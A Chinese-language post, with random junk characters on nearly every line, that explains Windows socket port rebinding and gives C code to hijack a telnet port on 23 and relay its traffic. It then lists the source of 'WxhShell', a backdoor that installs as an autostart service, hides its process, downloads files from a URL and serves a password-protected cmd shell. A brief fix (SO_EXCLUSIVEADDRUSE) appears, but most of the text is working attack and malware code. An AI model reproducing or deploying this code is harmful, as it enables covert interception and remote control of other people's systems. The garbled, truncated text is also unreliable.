在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+
G@N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wKJG 31I^ <c+.%ka saddr.sin_family = AF_INET;
oPe|Gfv\G ~?Zib1f) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
RD$:. Pv -4psdw bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0TU3
_;o ,9&cIUH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4~fYG| a 7;>|9k 这意味着什么?意味着可以进行如下的攻击:
t7=D$ua i%2u>Ni^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
e3I""D{)[= a6{Zp{"Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
sf*4|P} ,H=k5WA4m 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
T{dQ4
c e~)[I! n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
AA\a#\#Z3 F*72g)hVh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AuNUW0/
7 H 0l1=y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
w h$bDTCj vsGKCrLwh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[F-R*}&x p9v:T1? #include
tv#oEM9esl #include
=uP?
?E #include
8Qv s\TY #include
+kSu{Tc DWORD WINAPI ClientThread(LPVOID lpParam);
kR =sr/{ int main()
kx,.)qKk {
fi?4!h WORD wVersionRequested;
s.J4&2Q DWORD ret;
JP#S/kJ%3 WSADATA wsaData;
'*J+mZt N BOOL val;
Gwd38 SOCKADDR_IN saddr;
6bm 7^e( SOCKADDR_IN scaddr;
ee {ToK int err;
Hw \of SOCKET s;
;(C<gt,r} SOCKET sc;
2<D| { int caddsize;
#&Hi0..y HANDLE mt;
5m8u :6kQu DWORD tid;
Y'U1=w~E wVersionRequested = MAKEWORD( 2, 2 );
-^_2{i err = WSAStartup( wVersionRequested, &wsaData );
o/pw=R/): if ( err != 0 ) {
CsZ~LQ=DB printf("error!WSAStartup failed!\n");
JFT$1^n return -1;
#Oka7.yz }
gk6f_0?X' saddr.sin_family = AF_INET;
s%)f<3=a IkCuw./ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Oeh A3$|# .a4,Lr#q. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|ADf~-AY saddr.sin_port = htons(23);
dl4n-*h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?eS;Yc {
~$J;yo~ printf("error!socket failed!\n");
Sn nfU return -1;
ZHTi4JY }
)re<NE&M val = TRUE;
JL M Xkcc
//SO_REUSEADDR选项就是可以实现端口重绑定的
,,Qg"C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
BUXE
s0]Lv {
SBxpJsW> printf("error!setsockopt failed!\n");
2%@tnk|@ return -1;
Kd:l8%+ }
wgFX')l: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
x,gk]C f //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
HE&)N
clY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Xb"i/gfxt '+9<[] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+[76 _EXy {
HV a9b; ret=GetLastError();
C.?^] Y printf("error!bind failed!\n");
$;^|]/- return -1;
"xlR>M6e }
6 byeO&d listen(s,2);
ZiPeP while(1)
^yW['H6V {
a2P)@R caddsize = sizeof(scaddr);
'I,a 29 //接受连接请求
wV )\M]@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)+N{D=YM if(sc!=INVALID_SOCKET)
\,13mB6 {
SH)-(+72d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ta\F~$M if(mt==NULL)
.i*oZ'[X {
;"M6}5dQ4 printf("Thread Creat Failed!\n");
OlT8pG5Oa break;
p{,#H/+J }
<tvLKx }
Jl_W6gY"Z CloseHandle(mt);
8:0/Cj }
@&?(XY 'M% closesocket(s);
/?;'y,(Q WSACleanup();
,7d/KJ^7 return 0;
[q|W*[B:@ }
Ch]d\G M DWORD WINAPI ClientThread(LPVOID lpParam)
#scZP {
xt}.0dC!/% SOCKET ss = (SOCKET)lpParam;
LG8h@HY&L SOCKET sc;
Ao\P|K9MyL unsigned char buf[4096];
3CD#OCz7& SOCKADDR_IN saddr;
{&+M.Xn long num;
z)M#9oAM DWORD val;
W5Jw^,iPd DWORD ret;
x'g4DYl //如果是隐藏端口应用的话,可以在此处加一些判断
d.?}>jl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$
64up! saddr.sin_family = AF_INET;
>B6*`3v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lpXGsKH2 saddr.sin_port = htons(23);
glLVT
i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'Q=;I {
q=pRe-{ printf("error!socket failed!\n");
#
>k|^*\ return -1;
v,iZnANZ&P }
|Y
K,& val = 100;
{dZ]+2Z~+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%tP*_d: {
PIU@}:} ret = GetLastError();
Po58@g return -1;
X$5 }
D^4nT,&8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KRL.TLgq) {
Bf*>q*%B{ ret = GetLastError();
SE\?8cs]- return -1;
ktrIi5B }
#][i!9$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|RL#BKC` {
TR3U<: printf("error!socket connect failed!\n");
qHZDo[ closesocket(sc);
!64Tx closesocket(ss);
g4A{RI return -1;
{_N9<i{T }
42]7N3:' while(1)
j Mn,N9Mf {
Q3WI@4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~5+RK16 //如果是嗅探内容的话,可以再此处进行内容分析和记录
rnZ$Qk-H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qt}M&=}8Q num = recv(ss,buf,4096,0);
n725hY6}<l if(num>0)
To(I<W|{ send(sc,buf,num,0);
U5kKT.M else if(num==0)
5hmfdj6 break;
:V.@:x>id num = recv(sc,buf,4096,0);
$6Q^ur: if(num>0)
@[lMh9` send(ss,buf,num,0);
ASHU0v else if(num==0)
@?<[//1 break;
'$OUe {j< }
:m<&Ff} closesocket(ss);
^m%#1Zd closesocket(sc);
t}eyfflZ return 0 ;
os{ iY }
~uc7R/3ss UiG/Rn 14 & KE3` ==========================================================
2yK">xYY@ c9nR&m8(+ 下边附上一个代码,,WXhSHELL
YHEn{z7 wNHn. ==========================================================
s A,bR| ,*iA38d.! #include "stdafx.h"
-~{Z*1`, nq{/fD(2 #include <stdio.h>
~gpxK{ #include <string.h>
!vnC-&G #include <windows.h>
yus3GqPI #include <winsock2.h>
Dylm=ZZa #include <winsvc.h>
I&+.I K_ #include <urlmon.h>
w6s[|i)& uHI(-!O #pragma comment (lib, "Ws2_32.lib")
cp@Fj" #pragma comment (lib, "urlmon.lib")
#r9+thyC hty'L61\z #define MAX_USER 100 // 最大客户端连接数
-i8KJzPL f #define BUF_SOCK 200 // sock buffer
n>}Y@{<]/ #define KEY_BUFF 255 // 输入 buffer
Bg]VaTm[= x1eC r_ #define REBOOT 0 // 重启
Jb"FY:/Qv+ #define SHUTDOWN 1 // 关机
Hi09?AX 8lV:-"+5 #define DEF_PORT 5000 // 监听端口
{<ShUN ,LA'^I? #define REG_LEN 16 // 注册表键长度
zufphS| #define SVC_LEN 80 // NT服务名长度
)5b_>Uy |Ml~Pmpp // 从dll定义API
`Xos]L'w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=v<w29P(g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mEJ7e# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
w<H Xe typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j~N*T XkC y8$3kXh // wxhshell配置信息
f![] :L struct WSCFG {
z[f]mU int ws_port; // 监听端口
%AO6= char ws_passstr[REG_LEN]; // 口令
X]y8-}Qf int ws_autoins; // 安装标记, 1=yes 0=no
-4x! #|] char ws_regname[REG_LEN]; // 注册表键名
:=hL}(~] char ws_svcname[REG_LEN]; // 服务名
4+hNP'e char ws_svcdisp[SVC_LEN]; // 服务显示名
)3CM9P'0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
''9]`B,:a0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
nDvfb*\ int ws_downexe; // 下载执行标记, 1=yes 0=no
pl>b 6 | char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Doc zQc-U+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{Z/iYHv~#c
b*Qd9 };
:Hq%y/ 1#x5
o2n // default Wxhshell configuration
Kk},
PU= struct WSCFG wscfg={DEF_PORT,
^Z)7Z%
O "xuhuanlingzhe",
T)e2IXGN 1,
W%+02_/) "Wxhshell",
;:=j{,&dl[ "Wxhshell",
K ar! "WxhShell Service",
]lA}5 "Wrsky Windows CmdShell Service",
Tp-W/YC "Please Input Your Password: ",
s#5#WNzP 1,
+}m`$B}mJ "
http://www.wrsky.com/wxhshell.exe",
<*J"6x "Wxhshell.exe"
f1:>H.m`
};
oL~1M=r ,IhQ %)l // 消息定义模块
fa]8v6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Vl$RMW@Ds char *msg_ws_prompt="\n\r? for help\n\r#>";
oPs asa char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
N|mggz char *msg_ws_ext="\n\rExit.";
Q.$/I+&j char *msg_ws_end="\n\rQuit.";
)F hbN@3 char *msg_ws_boot="\n\rReboot...";
(A2ga):Pk char *msg_ws_poff="\n\rShutdown...";
O_ r-(wE4 char *msg_ws_down="\n\rSave to ";
Uhvy2}w iJh{,0))g char *msg_ws_err="\n\rErr!";
z@UH[>^gj char *msg_ws_ok="\n\rOK!";
JVg}XwR gIweL{Pc char ExeFile[MAX_PATH];
Pjq9BK9p int nUser = 0;
)PR`irw HANDLE handles[MAX_USER];
b6;MTz*k> int OsIsNt;
4%}iKoT
al Rz@N SERVICE_STATUS serviceStatus;
0<uL0FOT SERVICE_STATUS_HANDLE hServiceStatusHandle;
[|$C2Dhw= Gmu[UI}w8 // 函数声明
Zah<e6L int Install(void);
|9i[*] int Uninstall(void);
&iD&C>;pf int DownloadFile(char *sURL, SOCKET wsh);
L7lpOy4k int Boot(int flag);
qCVb-f void HideProc(void);
N\s-{7K int GetOsVer(void);
iPCn-DoIS int Wxhshell(SOCKET wsl);
0{d)f1 void TalkWithClient(void *cs);
pbh>RS=ri int CmdShell(SOCKET sock);
?pQ0*
O0 int StartFromService(void);
~Q^.7.-T int StartWxhshell(LPSTR lpCmdLine);
l^tRy_T:- ??Urm[Y.Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i%i s<' VOID WINAPI NTServiceHandler( DWORD fdwControl );
pQZ`dS\ "8)%XSb // 数据结构和表定义
BQ,749^S SERVICE_TABLE_ENTRY DispatchTable[] =
owa&HW/_ {
MYJMZ3qBi {wscfg.ws_svcname, NTServiceMain},
'o=DGm2H {NULL, NULL}
C5KUIOg };
#3>jgluM' y'6l fThT // 自我安装
(uHyWEHt int Install(void)
n[;)( {
|BtFT char svExeFile[MAX_PATH];
( ?e
Et& HKEY key;
f\hQ>MLzt strcpy(svExeFile,ExeFile);
`"V}Wq ?I 5%K|dYv^^ // 如果是win9x系统,修改注册表设为自启动
m1K4_a)^[ if(!OsIsNt) {
r^E(GmW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y HgNL LZ? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y9T5 RegCloseKey(key);
h0x'QiCc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i6FJG\d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$WRRCB/A6 RegCloseKey(key);
\,m*CYs` return 0;
<RbsQ^U }
=~,2E;#X }
`.~*pT*u }
@ I&k|\ else {
y(a>Y! dgU [Ak0kH> // 如果是NT以上系统,安装为系统服务
J}bLp
Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
b'4}=Xpn if (schSCManager!=0)
GAs.?JHd {
/,<s9
: SC_HANDLE schService = CreateService
hq&9S{Ep (
,l,q;]C% schSCManager,
EIpz-"S wscfg.ws_svcname,
YJDJj
x wscfg.ws_svcdisp,
4UPxV"H SERVICE_ALL_ACCESS,
oOLj?
0t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
j5smmtM`s SERVICE_AUTO_START,
#N"QTD|i SERVICE_ERROR_NORMAL,
,t*H: * svExeFile,
LF{8hC[ NULL,
mtLiS3Nk8 NULL,
!F Zg'
9 NULL,
3_&s'sG5 NULL,
fU.z_T[@ NULL
Lv)1
)'v0 );
s|[qq7 if (schService!=0)
b`GKGqb J {
ts,V+cEA CloseServiceHandle(schService);
#g2&x sU CloseServiceHandle(schSCManager);
lG[j,MDs strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
gTLBR strcat(svExeFile,wscfg.ws_svcname);
@L 6)RF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
M D&7k,! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
HqyAo]{GN RegCloseKey(key);
W]>%*n return 0;
YKOj }
fL-$wK<p< }
YPKB4p# CloseServiceHandle(schSCManager);
X<v1ES$ }
Oe "%v;- }
`Hu2a]e9 Jt}#,I,B return 1;
ZC^NhgX }
R$QhuxT| e)XnS ' // 自我卸载
*dC&*6Rx int Uninstall(void)
v5{2hCdt {
>4+KEK HKEY key;
0x^lHBYc <qI!Dj{ if(!OsIsNt) {
L7.SH#m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v}IhO~`uEq RegDeleteValue(key,wscfg.ws_regname);
mGJRCK_ RegCloseKey(key);
}iUpBn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[1z.JfC :S RegDeleteValue(key,wscfg.ws_regname);
Tgbq4xR( RegCloseKey(key);
g^\!> i return 0;
W|s";EAM }
eYu 0") }
nC!L<OMr }
4_$.gO else {
M23r/eg] _]eyt_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
":GC}VIS if (schSCManager!=0)
MGre_=Dm_ {
YPCitGBl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,^DP if (schService!=0)
-YrMVoZl {
&H+n0v if(DeleteService(schService)!=0) {
_,d<9 Y) CloseServiceHandle(schService);
"I9 r>= CloseServiceHandle(schSCManager);
$3%+N|L return 0;
lJT"aXt'M }
| :id/ CloseServiceHandle(schService);
~-R2mAUK }
lWT`y CloseServiceHandle(schSCManager);
`82Dm!V }
H/={RuU }
XGjFb4Tw7 KCH`=lX return 1;
TNK1E }
aeAx0yE[p o/n4M]G // 从指定url下载文件
.*.eY?,V int DownloadFile(char *sURL, SOCKET wsh)
h ^s8LE3 {
Zs ,6}m\ HRESULT hr;
-~X[j2 char seps[]= "/";
SQ/HZ char *token;
tCar:p4$ char *file;
nr,Z0 char myURL[MAX_PATH];
uU^iY$w char myFILE[MAX_PATH];
Gzg3{fXl {Qn{w%!| strcpy(myURL,sURL);
(Nv-wU token=strtok(myURL,seps);
Ndgx@LTQQ while(token!=NULL)
^5(d^N {
,|.}6\zl*{ file=token;
49c-`[d
L token=strtok(NULL,seps);
;oDr8a<A }
,CuWQ'H .aVt d
[ GetCurrentDirectory(MAX_PATH,myFILE);
4z9lk^#"X strcat(myFILE, "\\");
2A:h&t/|C strcat(myFILE, file);
JY^i send(wsh,myFILE,strlen(myFILE),0);
nAAv42j[ send(wsh,"...",3,0);
Mw)6,O` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
x{tlC}t if(hr==S_OK)
ffBd return 0;
N;6o=^ic else
L[,19;( return 1;
QG2 Zh9R SW'eTG }
ASre@pW ;ko6igx)+ // 系统电源模块
i. (Af$ int Boot(int flag)
1?1Bz?EKF* {
xIC@$GP HANDLE hToken;
KB(W'M_D\ TOKEN_PRIVILEGES tkp;
/F(n%8)Yq di0@E<@1: if(OsIsNt) {
w`V6vYd@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
't0M+_J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\IImxkE tkp.PrivilegeCount = 1;
hpPacN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
WvSm!W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Lhe& if(flag==REBOOT) {
s&-MJ05y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#Lp}j?Y return 0;
lv'WRS'} }
!4'F z[RK else {
$Th)z}A}EA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^87 9sI return 0;
[|=M<>?[ }
nReld
:#T }
=CZRX'
+yN else {
31a lQ\TH if(flag==REBOOT) {
o5NmNOXm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
e5P9P%1w return 0;
hr 6j+p: }
^MF 2Q+ else {
tZz%x?3G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-OlrA{=c_ return 0;
'ET];iZ2 }
P=jsOuW }
jqc}mI\# V3q`V/\ return 1;
xd^Pkf }
UGy3B) KGg
S"d // win9x进程隐藏模块
85q/|9D void HideProc(void)
A#T"4'#?< {
nH6SA1$kW _G/R;N71 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t~/:St if ( hKernel != NULL )
qpYgTn8l7 {
w|s2f`! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
T :d+Qz\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;Jg$C~3tf FreeLibrary(hKernel);
$) "\N }
S3Gr}N Mh-"B([Z return;
*$fM}6} }
M?"4{ _uMG?Sbx // 获取操作系统版本
A_wf_.l4h int GetOsVer(void)
l_Lz9k {
>,]a>V OSVERSIONINFO winfo;
l!88|~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D!,5j_,j% GetVersionEx(&winfo);
@i>)x*I#AI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}
u;{38~ return 1;
`mz}D76~# else
{] ]%0!n\ return 0;
Yu_*P-Ja6 }
E0+L?(; w)+1^eW // 客户端句柄模块
SQ4^sk_! int Wxhshell(SOCKET wsl)
)H
W {
l+"p$iZs SOCKET wsh;
+d\o|}c struct sockaddr_in client;
z.-yL,Rc`- DWORD myID;
xn2 nh@; it\$Pih] while(nUser<MAX_USER)
MSS[-} {
k}fC58q int nSize=sizeof(client);
q *&H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
auK9wQ%\ if(wsh==INVALID_SOCKET) return 1;
$\J5l$tU -#f.}H' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&SbdX if(handles[nUser]==0)
e7;7TrB. closesocket(wsh);
VU,G.eLW else
#Pg`0xiV nUser++;
YXWDbr:JX }
$lT8M-yK\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZDmL?mC "D.<~! return 0;
(2H
GV+Dg }
RQ8d1US JyE-c}I // 关闭 socket
ZcXAqep8' void CloseIt(SOCKET wsh)
9lYfII}4( {
gW~T{+f closesocket(wsh);
crb^TuN nUser--;
g}<jn'@{ ExitThread(0);
<WIIurp }
hc
q&`Gun xS1n,gTA // 客户端请求句柄
VNWB$mM.2 void TalkWithClient(void *cs)
`qs,V {
gd0)s1{9 1}\p:` SOCKET wsh=(SOCKET)cs;
b
VEJ char pwd[SVC_LEN];
LhLAQ2~ char cmd[KEY_BUFF];
e1W9"&4>G{ char chr[1];
g0zzDv7~ int i,j;
5wV J.B~s >ZOlSLu while (nUser < MAX_USER) {
;"Gy5 \"ahs7ABT if(wscfg.ws_passstr) {
7e+C5W*9b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(o|bst][S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x[{\Aw>$. //ZeroMemory(pwd,KEY_BUFF);
8HKv_vl i=0;
M99ku' while(i<SVC_LEN) {
k)I4m.0a5 =Iop // 设置超时
*MmH{!= fd_set FdRead;
M6p\QKi struct timeval TimeOut;
f1aZnl FD_ZERO(&FdRead);
{FFdMdxy- FD_SET(wsh,&FdRead);
Nt$4; TimeOut.tv_sec=8;
L/ibnGhq] TimeOut.tv_usec=0;
`r SOt*< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>)M1X?HI5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v1{j1~ZR P{A})t7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
JY CMW!~ pwd
=chr[0]; L-`V^{R]
if(chr[0]==0xd || chr[0]==0xa) { 4ekwmw(ox
pwd=0; ![B|Nxq}@
break; ^(:~8 h
} <?B3^z$
i++; 8
*f9
} F62 uDyY
k( 0; >)<i
// 如果是非法用户,关闭 socket >gp53\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
)$TN%hV!
}
E$
\l57
Sa<(F[p`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TQck$&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;&=jSgr8
2*75*EQCH
while(1) { 3]vVuQK .
|j0_^:2r=
ZeroMemory(cmd,KEY_BUFF); -&
(iU#W
8/>.g.]
// 自动支持客户端 telnet标准 3=n6NTL
j=0; 2!-Q!c`y
while(j<KEY_BUFF) { &V*MNi,4Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ({rcH.:
cmd[j]=chr[0]; t,De/ L
if(chr[0]==0xa || chr[0]==0xd) { K*5gb^Ul
cmd[j]=0; c"tlNf?
break; v`K%dBa
} /g>-s&w
j++; C0f%~UMwd
} !T<,fR+8X
4)e1K/PJ)
// 下载文件 1_{ e*=/y
if(strstr(cmd,"http://")) { 6Tmz!E0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =aB+|E
if(DownloadFile(cmd,wsh)) z&H.fs L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yn!;Z._
else W)ug%@ )
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /#T {0GBXe
} ;O)*!yA(GG
else { v CsE|eMP
Ry}4MEq]
switch(cmd[0]) { C _he=SV
*-=/"m
// 帮助 ahgP"Qz
case '?': { +i}H $.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =KQIrS:
break; ]R\L~Kr
} Vf:.C|Z
// 安装 $s=` {v v
case 'i': { W3[>IH"+
if(Install()) 7ucm1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~}BDnu 6
else CRCy)AS,t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rNhS\1-
break; l4$ sku-
} 'V%w{ZiiV
// 卸载 #m{(aa9;
case 'r': { @BLB.=
if(Uninstall()) q1xSylE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !D1#3?L
else 6, j60`f)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tt-ci,X+
break; H.iCYD_=
} \YJQN3^46>
// 显示 wxhshell 所在路径 . 0yBI=QI
case 'p': { Q[3hOFCX
char svExeFile[MAX_PATH]; JtSwbdN
strcpy(svExeFile,"\n\r");
5q@s6_"{
strcat(svExeFile,ExeFile); 4_>;|2
send(wsh,svExeFile,strlen(svExeFile),0); fcp_<2KH
break; !L;_f'\)6
} #*9 |\
// 重启 }U=}5`_]D
case 'b': { 9[\do@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *6<4ECa7C
if(Boot(REBOOT)) k;<@2C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0J[B3JO@M
else { S=S/]]e
closesocket(wsh); 0?t;3z$n
ExitThread(0); R#Yj%$E1
} NApy(e5%
break; 7Oe$Ou
} 88:YU4:l`N
// 关机 zQO 1%g
case 'd': { 28M^F~0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &b,A-1`w_
if(Boot(SHUTDOWN)) id+EBVHAd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -4Dz98du
else { z|],s]F>G
closesocket(wsh); cV1E<CM
ExitThread(0); 5`&@3
m9/
} Tt{X(I} J
break; IDpLf*vSG
} I m-M2n
// 获取shell 8cvSA&l(D
case 's': { 4gEw}WiP
CmdShell(wsh); sRBfLN2C
closesocket(wsh); )mAD <y+
ExitThread(0); "fv+}'
break; h5@7@w%
} vMX\q
// 退出 `=V1w4J
case 'x': { ;B2kot7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fUis_?!
CloseIt(wsh); /W
f.Gt9[
break; -/B*\X[
} =B+dhZ+#S$
// 离开 (p'/a.bn
case 'q': { `'r~3kP*NT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); uF3{FYM{I
closesocket(wsh); -f:PgBj
WSACleanup(); *'-C/
exit(1); ;){ZM,Ox
break; |'o<w
]hc
} }9B},
} c>c4IQ&d
} <o|k'Y(-
ub1~+T'O
// 提示信息 &'DR`e O)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xi<}n#
} H,EZ%
Gl
} RxV
" ,
Yc)Dx3
return; K'Wv$[~Dc
} I_?R(V[9
f2KH&j>~r
// shell模块句柄 D'D IC
int CmdShell(SOCKET sock) FW3E UC)P
{ Ps0<CUyI
STARTUPINFO si; $%&OaAg
ZeroMemory(&si,sizeof(si)); N`X|z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C[ KMaB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0[uOKFgE
PROCESS_INFORMATION ProcessInfo; *U\`HUW
char cmdline[]="cmd"; +#UawYLJ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hCX/k<}I
return 0; )"tM[~e`
} ]H`pM9rC
-
?
i
// 自身启动模式 nD
4C $
int StartFromService(void) OYa9f[ $
{ g38MF
typedef struct s nNd7v.U6
{ Ya<V@qd
DWORD ExitStatus; AEFd,;GF
DWORD PebBaseAddress; J*%IvRg
DWORD AffinityMask; UH(w, R`
